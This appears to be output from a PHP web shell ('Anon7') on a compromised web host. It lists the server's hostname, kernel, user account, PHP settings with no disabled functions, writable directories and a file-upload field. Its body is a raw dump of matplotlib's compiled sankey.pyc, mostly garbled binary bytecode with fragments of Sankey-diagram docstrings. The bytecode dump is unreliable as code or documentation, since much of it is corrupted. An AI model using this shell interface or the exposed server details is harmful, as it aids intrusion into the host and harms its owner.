KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux server112.speedpacket.com 3.10.0-962.3.2.lve1.5.36.el7.x86_64 #1 SMP Mon May 18 02:16:06 EDT 2020 x86_64
User : equistyl ( 1341)
PHP Version : 8.1.30
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/matplotlib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/matplotlib/sankey.pyc
�
r`]c@s�dZdZdgZdZdZddlZddlmZm	Z	ddl
mZdd	lm
Z
dd
lmZddlmZddlmZd
ZdZdZddd��YZdS(s6
Module for creating Sankey diagrams using matplotlib
sKevin L. Daviess
Yannick CopintBSDs
2011/09/16i����N(titerabletBunch(tPath(t	PathPatch(tAffine2D(tverbose(t	docstringiiitSankeycBs�eZdZdedddfd�Zd�Zd�Zejd�Z	e
jdeeddd	eddfdd
�	�Z
d�Zedddd	d
dddddd�ZRS(sn
    Sankey diagram in matplotlib

      Sankey diagrams are a specific type of flow diagram, in which
      the width of the arrows is shown proportionally to the flow
      quantity.  They are typically used to visualize energy or
      material or cost transfers between processes.
      `Wikipedia (6/1/2011) <http://en.wikipedia.org/wiki/Sankey_diagram>`_

    iic	Cs�tjtjtjtjtjtjtjg}tjddgddgddgddgddgddgddgg�}|dks�|dkr�|r�|}qW|d	d	�d	d	d
�f}n�|dks�|dkrW|rtj|d	d	�df|d	d	�dff�}qWtj|d	d	�df|d	d	�dff�}n|dkrm|}nt|||tj||jddf��S(
s=
        Return the codes and vertices for a rotated, scaled, and translated
        90 degree arc.

        Optional keyword arguments:

          ===============   ==========================================
          Keyword           Description
          ===============   ==========================================
          *quadrant*        uses 0-based indexing (0, 1, 2, or 3)
          *cw*              if True, clockwise
          *center*          (x, y) tuple of the arc's center
          ===============   ==========================================
        g�?ggw,���?g����S��?g�����?g>�ef���?iiNi����ii(	RtLINETOtCURVE4tnptarraytcolumn_stacktzipttiletshape(tselftquadranttcwtradiustcentert	ARC_CODEStARC_VERTICEStvertices((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyt_arc@s8						"

c
Cs�|d
kr"ddgddgfS|dd\}}|d|j}|tkr�||8}||||dg}|jtj||gftj|ftj|||gftj||j||gfg�|d|j|dg}	n�||j8}|tkrd}
nd}
||d||
||g}|t	krNd}nd}|j
r�|j|jd|d|tkd|j
d	||j
||
|j
f��n|jtj||gf�|jtj|||
|gftj|ftj||||
|gfg�|j|jd|d|t	kd||j
d	||j
||
|j
f��|jtj||||
|gf�|d|d|
|jg}	||	fSd
S(sP
        Add an input to a path and return its tip and label locations.
        ii����iig@RRRRN(
tNonetpitchtRIGHTtextendRR	tgaptoffsettUPtDOWNRRtappend(Rtpathtangletflowtlengthtxtytdipdepthtdiptlabel_locationtsignR((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyt
_add_inputwsL
$
	 			
 %

(c
CsA|dkr"ddgddgfS|dd\}}|j|d|j}|tkr.||7}||||dg}|jtj||gftj|||jgftj|ftj|||j|gftj|||gftj||j||gfg�|d|j|dg}	n||j7}|t	krPd}
nd}
||d||
||g}|t	kr�d}nd}|j
r�|j|jd|d|t	kd	|j
d
||j
||
|j
f��n|jtj||gf�|jtj|||
|gftj||j||
|gftj|ftj||j|||
|gftj||||
|gfg�|j|jd|d|t
kd	|j
|d
||j
||
|j
f��|jtj||||
|gf�|d|d|
|jg}	||	fSdS(s�
        Append an output to a path and return its tip and label locations.

        Note: *flow* is negative for an output.
        ii����iig@iRRRRN(RtshoulderRRRRR	RRR RRR"R!(RR#R$R%R&R'R(t	tipheightttipR+R,R((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyt_add_output�sX
$
	 			
 %

(cCsMg}|}x:|ddd�D]%\}}|j||f�|}q W|S(s�
        A path is not simply revertable by path[::-1] since the code
        specifies an action to take from the **previous** point.
        Ni����(R"(RR#tfirst_actiontreverse_patht	next_codetcodetposition((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyt_revert�s 
tg�?g�?c
7KsJ|d#kr$tjddg�}ntj|�}|jd}|	d#krUd}	n
|	d:}	|d#krzddg}nt|�|ks�tdt|�|f��|dkr�t|dt�r�t|�|kstdt|�|f��n
|g|}|dkstd	��tjtj	|��|j
kr]tjd
tj	|�d�n|j
|}t	d�|D��}
t	d
�|D��}d|
ko�dkns�tjd|
d�nd|ko�dkns�tjd|
d�n|d#k	rs|dks td��t|�dks>td��|t|j�ksrtd|t|j�f��|dt|j|j�ks�td|dt|j|j�f��|d|ks�td|d|f��|j|j|dd#k	std|d|f��|j|j|d||d}t|�|j
ksstd||j
f��nd#g|}xst|�D]e\}}||j
kr�t||<q�||j
kr�t||<q�tjd|||j
fd�q�Wd#g|}x�tt||��D]�\}\}}|dkrf|rJt||<q�|tkr�t||<q�q|dkr�|d#k	r�t||<q�q|dks�td||f��|r�t||<q|tkrt||<qqWt|�rt|�|ks{tdt|�|f��n^|}|}|}|}td |�}g|D]}|j|d�^qK}x�tt|||��D]h\}\}}}|tkr�|r�|||<||7}q�|tkr�|r�|||<||8}q�q�Wx�ttt|||���D]x\}\}}}|tkrS|rS||||d<||7}q
|tkr
|r
||||d<||8}q
q
Wt}xwttt||t||����D]N\}\}}}|tkr�|r|r�d|||d<qt}qq�q�Wt}xitt||t||���D]F\}\}}}|tkr1|sw|rkd||<qtt}qwq1q1Wtj|j|d|
dgftj |j|dd|
dgftj!|j|dd!|
dgftj!|d|jd!|dgftj |d|jd|dgftj |d|j|dgfg}tj |d|j|dgftj |d|jd|dgftj!|d|jd!|dgftj!|j|dd!|
dgftj |j|dd|
dgftj |j|d|
dgfg} tj |d|j|dgfg}!tj |j|d|
dgfg}"tj"|d"f�}#tj"|d"f�}$x�tt||t||���D]�\}\}}}|tkr8
|r8
|j#|"||�\|#|d#d#�f<|$|d#d#�f<q�	|tkr�	|r�	|j$|||�\|#|d#d#�f<|$|d#d#�f<q�	q�	Wx�ttt||t||����D]�\}\}}}|tkr*|r*|j#| ||�\|#||dd#d#�f<|$||dd#d#�f<q�
|tkr�
|r�
|j$|!||�\|#||dd#d#�f<|$||dd#d#�f<q�
q�
Wt}xttt||t||����D]�\}\}}}|tkr�|r�|sN| ddd|"dddkrE| j%tj |"ddd| dddgf�nt}n|j#| ||�\|#||dd#d#�f<|$||dd#d#�f<q�q�Wt}x�tt||t||���D]�\}\}}}|tkr�|r�|sZ
|ddd|!dddkrQ
|j%tj |!ddd|dddgf�nt}n|j$|||�\|#|d#d#�f<|$|d#d#�f<q�q�W|s�
|"j&�| j&�n|s�
|!j&�|j&�n||j'|!�| |j'|"�tj(|ddfg}%t|%�\}&}'tj|'�}'d$�}(|d#kr�|	dkr�g|D]}|(||	�^q[}t)�j*|	d%�j+})|)|#�}#|)|$�}$|)|'�}'n|j,j-ddd&|d'd(d)d(�}*n|j|j|d||d}	g|D]}|(||	�^q}t)�j*|	d%�j+})|)|#�}#|j|j.|d|#|d}+t)�j/|+�j+},|,|#�}#|,|)|$��}$|,|)|'��}'td&|d'd(d)d(�}-|j,j-|+|-�}*trKd*G| GHd+G|j'|"�GHd,G|GHd-G|j'|!�GHt|'�\}.}/|j,j0|.|/d.�nt1t|'|&�d/|
j&d/|
j&d0d1��d2|
j&d2|
j&d3d��|
�}0|j,j2|0�x�tt||��D]�\}\}1}||d#ks�|d#krd||<q�|j3d#k	r�|j4t|1�|j3}2||dkrL||cd47<n||c|27<q�q�Wg}3xztt||$��D]c\}\}4}5|4r�|4}6nd}6|3j%|j,j-d5|5dd6|5dd&|6d'd(d)d(��qWttj|'d#d#�df�tj|$d#d#�df�|j5d�t6tj6|'d#d#�df�tj6|$d#d#�df�|j5d�ttj|'d#d#�df�tj|$d#d#�df�|j5d"�t6tj6|'d#d#�df�tj6|$d#d#�df�|j5d7�f|_5|jj%t7d8|0d9|d:|d;|#d<|*d=|3��|S(>s
        Add a simple Sankey diagram with flows at the same hierarchical level.

        Return value is the instance of :class:`Sankey`.

        Optional keyword arguments:

          ===============   ===================================================
          Keyword           Description
          ===============   ===================================================
          *patchlabel*      label to be placed at the center of the diagram
                            Note: *label* (not *patchlabel*) will be passed to
                            the patch through ``**kwargs`` and can be used to
                            create an entry in the legend.
          *flows*           array of flow values
                            By convention, inputs are positive and outputs are
                            negative.
          *orientations*    list of orientations of the paths
                            Valid values are 1 (from/to the top), 0 (from/to
                            the left or right), or -1 (from/to the bottom).  If
                            *orientations* == 0, inputs will break in from the
                            left and outputs will break away to the right.
          *labels*          list of specifications of the labels for the flows
                            Each value may be None (no labels), '' (just label
                            the quantities), or a labeling string.  If a single
                            value is provided, it will be applied to all flows.
                            If an entry is a non-empty string, then the
                            quantity for the corresponding flow will be shown
                            below the string.  However, if the *unit* of the
                            main diagram is None, then quantities are never
                            shown, regardless of the value of this argument.
          *trunklength*     length between the bases of the input and output
                            groups
          *pathlengths*     list of lengths of the arrows before break-in or
                            after break-away
                            If a single value is given, then it will be applied
                            to the first (inside) paths on the top and bottom,
                            and the length of all other arrows will be
                            justified accordingly.  The *pathlengths* are not
                            applied to the horizontal inputs and outputs.
          *prior*           index of the prior diagram to which this diagram
                            should be connected
          *connect*         a (prior, this) tuple indexing the flow of the
                            prior diagram and the flow of this diagram which
                            should be connected
                            If this is the first diagram or *prior* is None,
                            *connect* will be ignored.
          *rotation*        angle of rotation of the diagram [deg]
                            *rotation* is ignored if this diagram is connected
                            to an existing one (using *prior* and *connect*).
                            The interpretation of the *orientations* argument
                            will be rotated accordingly (e.g., if *rotation*
                            == 90, an *orientations* entry of 1 means to/from
                            the left).
          ===============   ===================================================

        Valid kwargs are :meth:`matplotlib.patches.PathPatch` arguments:

        %(Patch)s

        As examples, ``fill=False`` and ``label='A legend entry'``.
        By default, ``facecolor='#bfd1d4'`` (light blue) and
        ``linewidth=0.5``.

        The indexing parameters (*prior* and *connect*) are zero-based.

        The flows are placed along the top of the diagram from the inside out
        in order of their index within the *flows* list or array.  They are
        placed along the sides of the diagram from the top down and along the
        bottom from the outside in.

        If the the sum of the inputs and outputs is nonzero, the discrepancy
        will appear as a cubic Bezier curve along the top and bottom edges of
        the trunk.

        .. seealso::

            :meth:`finish`
        g�?g�ig�V@sforientations and flows must have the same length.
orientations has length %d, but flows has length %d.R8t__iter__stIf labels is a list, then labels and flows must have the same length.
labels has length %d, but flows has length %d.sPtrunklength is negative.
This isn't allowed, because it would cause poor layout.sHThe sum of the flows is nonzero (%f).
Is the system not at steady state?thelpfulcss|]}t|d�VqdS(iN(tmax(t.0R%((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pys	<genexpr>lscss|]}t|d�VqdS(iN(tmin(R<R%((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pys	<genexpr>msg�?g@s�The scaled sum of the inputs is %f.
This may cause poor layout.
Consider changing the scale so that the scaled sum is approximately 1.0.g�g�s�The scaled sum of the outputs is %f.
This may cause poor layout.
Consider changing the scale so that the scaled sum is approximately 1.0.s+The index of the prior diagram is negative.s3At least one of the connection indices is negative.sdThe index of the prior diagram is %d, but there are only %d other diagrams.
The index is zero-based.snThe connection index to the source diagram is %d, but that diagram has only %d flows.
The index is zero-based.ishThe connection index to this diagram is %d, but this diagramhas only %d flows.
 The index is zero-based.s�The connection cannot be made.  Check that the magnitude of flow %d of diagram %d is greater than or equal to the specified tolerance.sTThe scaled sum of the connected flows is %f, which is not within the tolerance (%f).swThe magnitude of flow %d (%f) is below the tolerance (%f).
It will not be shown, and it cannot be used in a connection.i����s@The value of orientations[%d] is %d, but it must be -1, 0, or 1.s�If pathlengths is a list, then pathlengths and flows must have the same length.
pathlengths has length %d, but flows has length %d.Rg @iNcSs|dkrdS||SdS(N(R(tatr((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyt
_get_angleMsiZtsthaRtvasllpath
sulpath
surpath
slrpath
sgo-tfct	facecolors#bfd1d4tlwt	linewidths
R'R(itpatchtflowstanglesttipsttextttexts(8RRRRtlentAssertionErrortgetattrtFalsetabsolutetsumt	toleranceRtreporttscaleR=tdiagramsRIRJtabst	enumeratetTrueRR!R RRtdicttgettreversedRtMOVETORR	R
tzerosR-R1R"tpopR7t	CLOSEPOLYRt
rotate_degttransform_pointtaxRLRKt	translatetplotRt	add_patchtunittformattextentR;R(7Rt
patchlabelRItorientationstlabelsttrunklengthtpathlengthstpriortconnecttrotationtkwargstntscaled_flowstgaintlosst
flow_errort
are_inputstiR%RJtorienttis_inputturlengthtullengthtlrlengthtlllengthtdR$thas_left_inputtspecthas_right_outputturpathtllpathtlrpathtulpathRKtlabel_locationsR#tcodesRR@trotateRLRRetkwdstxstysRHtnumbertquantityRMtlabeltlocationRA((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pytadd�sT
	

	!
	#$!



(

%


(
1	.






	.8<1HL1$	L	.$	<



!	"*"$			(
(	&


!cCsq|jj|jd|j|jd|j|jd|j|jd|jg�|jjddd�|jS(s�
        Adjust the axes and return a list of information about the Sankey
        subdiagram(s).

        Return value is a list of subdiagrams represented with the following
        fields:

          ===============   ===================================================
          Field             Description
          ===============   ===================================================
          *patch*           Sankey outline (an instance of
                            :class:`~maplotlib.patches.PathPatch`)
          *flows*           values of the flows (positive for input, negative
                            for output)
          *angles*          list of angles of the arrows [deg/90]
                            For example, if the diagram has not been rotated,
                            an input to the top side will have an angle of 3
                            (DOWN), and an output from the top side will have
                            an angle of 1 (UP).  If a flow has been skipped
                            (because its magnitude is less than *tolerance*),
                            then its angle will be None.
          *tips*            array in which each row is an [x, y] pair
                            indicating the positions of the tips (or "dips") of
                            the flow paths
                            If the magnitude of a flow is less the *tolerance*
                            for the instance of :class:`Sankey`, the flow is
                            skipped and its tip will be at the center of the
                            diagram.
          *text*            :class:`~matplotlib.text.Text` instance for the
                            label of the diagram
          *texts*           list of :class:`~matplotlib.text.Text` instances
                            for the labels of flows
          ===============   ===================================================

        .. seealso::

            :meth:`add`
        iiiitequalt
adjustabletdatalim(RdtaxisRjtmargint
set_aspectRW(R((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pytfinish�s's%Gg�������?g���Q��?g333333�?idg�������?g���ư>cKs|dkstd��||ks0td��|	dksHtd��|dks`td��|dkr�ddlj}
|
j�}|jdddd	gd
g�}ng|_||_||_||_	||_
||_||_||_
||_|
|_tjtjd|	dd�|_||_tjtjtjtjtjf�|_t|�r{|j|�ndS(
s=

        Create a new Sankey instance.

        Optional keyword arguments:

          ===============   ===================================================
          Field             Description
          ===============   ===================================================
          *ax*              axes onto which the data should be plotted
                            If *ax* isn't provided, new axes will be created.
          *scale*           scaling factor for the flows
                            *scale* sizes the width of the paths in order to
                            maintain proper layout.  The same scale is applied
                            to all subdiagrams.  The value should be chosen
                            such that the product of the scale and the sum of
                            the inputs is approximately 1.0 (and the product of
                            the scale and the sum of the outputs is
                            approximately -1.0).
          *unit*            string representing the physical unit associated
                            with the flow quantities
                            If *unit* is None, then none of the quantities are
                            labeled.
          *format*          a Python number formatting string to be used in
                            labeling the flow as a quantity (i.e., a number
                            times a unit, where the unit is given)
          *gap*             space between paths that break in/break away
                            to/from the top or bottom
          *radius*          inner radius of the vertical paths
          *shoulder*        size of the shoulders of output arrowS
          *offset*          text offset (from the dip or tip of the arrow)
          *head_angle*      angle of the arrow heads (and negative of the angle
                            of the tails) [deg]
          *margin*          minimum space between Sankey outlines and the edge
                            of the plot area
          *tolerance*       acceptable maximum of the magnitude of the sum of
                            flows
                            The magnitude of the sum of connected flows cannot
                            be greater than *tolerance*.
          ===============   ===================================================

        The optional arguments listed above are applied to all subdiagrams so
        that there is consistent alignment and formatting.

        If :class:`Sankey` is instantiated with any keyword arguments other
        than those explicitly listed above (``**kwargs``), they will be passed
        to :meth:`add`, which will create the first subdiagram.

        In order to draw a complex Sankey diagram, create an instance of
        :class:`Sankey` by calling it without any kwargs::

            sankey = Sankey()

        Then add simple Sankey sub-diagrams::

            sankey.add() # 1
            sankey.add() # 2
            #...
            sankey.add() # n

        Finally, create the full diagram::

            sankey.finish()

        Or, instead, simply daisy-chain those calls::

            Sankey().add().add...  .add().finish()

        .. seealso::

            :meth:`add`
            :meth:`finish`


        **Examples:**

            .. plot:: mpl_examples/api/sankey_demo_basics.py
        isTThe gap is negative.
This isn't allowed because it would cause the paths to overlap.srThe inner radius is greater than the path spacing.
This isn't allowed because it would cause the paths to overlap.slThe angle is negative.
This isn't allowed because it would cause inputs to look like outputs and vice versa.s2The tolerance is negative.
It must be a magnitude.i����Nitxtickstyticksg�f@g@(RORtmatplotlib.pyplottpyplottfiguretadd_subplotRWRdRhRiRVRRR.RR�RttantpiRRTRtinfRjRNR�(RRdRVRhRiRRR.Rt
head_angleR�RTRstplttfig((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyt__init__�s6Q				$										%	,(t__name__t
__module__t__doc__RZRR-R1RR	R7Rtdedent_interpdRR�R�R�(((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyR5s
7	4	:��	.((R�t
__author__t__credits__t__license__t__version__tnumpyRtmatplotlib.cbookRRtmatplotlib.pathRtmatplotlib.patchesRtmatplotlib.transformsRt
matplotlibRRRR R!R(((s7/usr/lib64/python2.7/site-packages/matplotlib/sankey.pyt<module>s	

Anon7 - 2021